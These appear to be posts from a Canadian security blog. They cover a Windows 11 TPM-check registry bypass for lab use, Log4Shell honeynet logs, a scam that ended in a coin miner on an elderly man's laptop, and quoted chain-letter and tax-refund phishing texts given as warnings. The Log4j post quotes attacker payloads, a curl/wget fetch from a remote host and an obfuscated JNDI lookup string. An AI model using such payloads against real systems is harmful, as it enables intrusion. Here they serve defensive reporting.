Canada Cyber

Thursday, December 23, 2021

Bypass security and TPM requirement on windows 11 for lab testing. .

For security and lab testing during windows 11 install, you have the ability to bypass some security requirement, during the install you will see a message stating, "This PC can't run Windows 11." Windows 11 setup blocked due to missing hardware requirements.
When you see the above message, press Shift+F10 on your keyboard to launch a command prompt. Now type regedit and press enter to launch it.

When the Registry Editor opens, navigate to: HKEY_LOCAL_MACHINE\SYSTEM\Setup, Right-click on the Setup key and select New > Key.
When prompted to name the key, Type LabConfig and press enter.
Next right-click on the LabConfig key and select New > DWORD (32-bit) value and create a value named BypassTPMCheck, and set its data to 1.
Also create a DWORD 32 for (BypassSecureBootCheck) and set its value to 1. ( older machine that have no secure boot option, pre year 2010 ).
For very OLD CPU's add this: \HKEY_LOCAL_MACHINE\SYSTEM\Setup\MoSetup then create DWORD 32 (AllowUpgradesWithUnsupportedTPMOrCPU) then set to 1, would not install on a machine with less than a 2nd gen I5.

Now close all the new screens, press back, select the correct OS home/Pro etc. And you will no longer see the screen with the "This PC can't run Windows 11."

Monday, December 13, 2021

CVE-2021-44228 exploitation example Canada Cyber

CVE-2021-44228

CanadaCyber Honeynet logging data over last 3 days.

We see:

Actions: "curl -s. RemoteActor:5874/CCyberPubIP:80||wget -q -O- ,

Most recent hits are coming up with obfuscation,

RemoteActor HTTP/1.1 ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-"

Local Ottawa man laptop compromised by distributed Bitcoin miner.

Local Ottawa man laptop compromised by distributed Coin miner.

This all started with a phone call pretending to be the his local RRSPs representative, after some social engineering the hacker was able to get the 70-year-old man to install any desk software and provide the hacker remote access.

A quick look in the download folder we can see:

Based on time stamps we can see that the hacker got in via legitimate version of AnyDesk. He then used locally saved banking information to create a bitcoin account, we also see evidence of banking transfer:

We later see the installation of variety of tools that allow the ability to the threat actor to install Coin mining software.

IOCs:

https://www.virustotal.com/gui/file/825729b8f0ce7215119a4035f6d0267a05466fd939f598f848341f3631a0a631

https://www.virustotal.com/gui/file/92b979d18973399b806f50bd4651445d7578f60c7a8b18e4ee761cd06de795e6

Other files of interest:

https://www.virustotal.com/gui/file/2294dbb4c42acca41c46ea5eebc3f5aa10ff1b0d200b4729fcefeda5321294ba/detection

https://www.virustotal.com/gui/file/930a03cb70737c49651fb96114fd3816aeb311d19cfadf312a35107924eca555

Tuesday, May 12, 2020

Be cautious of "Fake scary message, targeting children, Fake chain messages"

Be cautious of "Fake scary message, targeting children"

Below is not real, just a fake story, chain letters, chain e-mail, people send these to scare you thinking it's funny to see how many people pass them along, sometime they can have hidden code or URLs.

----------------------------------------------------- FAKE ------------------------------------------------------

Hi I am sorry I had to send this to you this but now that you have opened it you can’t stop reading this. Hi my name is Teresa Fidalgo I died 27 years. If you don’t send this to 20 people I will sleep by your side forever. If you don’t believe me search me up. Teresa Fidalgo. So send this to 20 people. A girl ignored this and her mum died 20 days later. NO SEND BACKS! Sorry to send this. Btw this is not fake search her up on google\ I dont want a death note for my momIf you were killed, I wouldn’t be at your funeral.💀

👊I’d be in jail for killing the person who killed you.👊

👭We are true friends.👭

💁We ride together, we die together.💁

😌Send this to everybody you care about, including me, if you care.😌

#⃣See how many times u get this.#⃣

💯I want you to know you are an amazing friend, till death and forever.💯

😞If I don’t get this back, I understand.😞

🤗But I have a game for you.🤗

🤔Once you read this letter,

you must send this to 15 people,

including me.🤔

❤If you get at least three back, you are loved.❤

😦Nobody knows how important something is, until they lose it.😦

😍Tonight, (right at 12:00pm) the person you love will realize they love you.😍

😯Then, at 1:00pm to 2:00pm, be ready for the shock of your life!😯

😲If you break this chain, you will have bad luck.😲

💓With love, send this to the 15💓

🙍If you don’t, you will turn ugly in one year.🙍

🗣A friend told me to do this, so past it on.🗣

📲Tomorrow, two boys/girls will ask if they can have your number?📲

📅Send this message to 15 nice, people or bad luck starts for a whole year.📅

🙅This is not fake.🙅

🙌Apparently, if you copy and paste this, you will have the best day of your life tomorrow!🙌

😼Good luck!

😃Oh! And don’t send this to a group chat!!!

----------------------------------------------------- FAKE ------------------------------------------------------

REF: https://www.independent.co.uk/life-style/gadgets-and-tech/features/who-is-teresa-fidalgo-debunking-the-fake-ghost-story-thats-got-instagram-spooked-9573936.html

REF: https://www.consumer.ftc.gov/articles/how-recognize-and-report-spam-text-messages

REF: https://en.wikipedia.org/wiki/Chain_letter

Wednesday, April 15, 2020

Be cautious of Fake “Your Income Tax Reminder”

If you receive an email with the subject line "Tax Refund available",or "Your Income Tax Reminder" it's fake do not click on it.

If you have received an email that looks like this, it's fake do not fill it or click on it

You are eligible to receive a refund of 520.00 CAD.

You have tax returns for period ending 15 Apr 2019, due 15 Apr 2020, now available for refund!

Remember: We tried to send it to you automatically but were unable to do so as we don't have your details on file.

Ready to refund it now?

Have your credit/debit card ready.
Open the application form below in your browser and login to your myIR account.
Follow the instructions on your screen.

Remember, If you are not the intended recipient of this email, please reply to inform us that you have received this email in error and then delete it without retaining any copy.

Note: Make sure all your income, benefits and family details are up to date in myIR, this will help make sure you're getting the right entitlements.

If you click on the link it will send you to a landing page that will extract your information and steal your Personal Identifiable Information PII.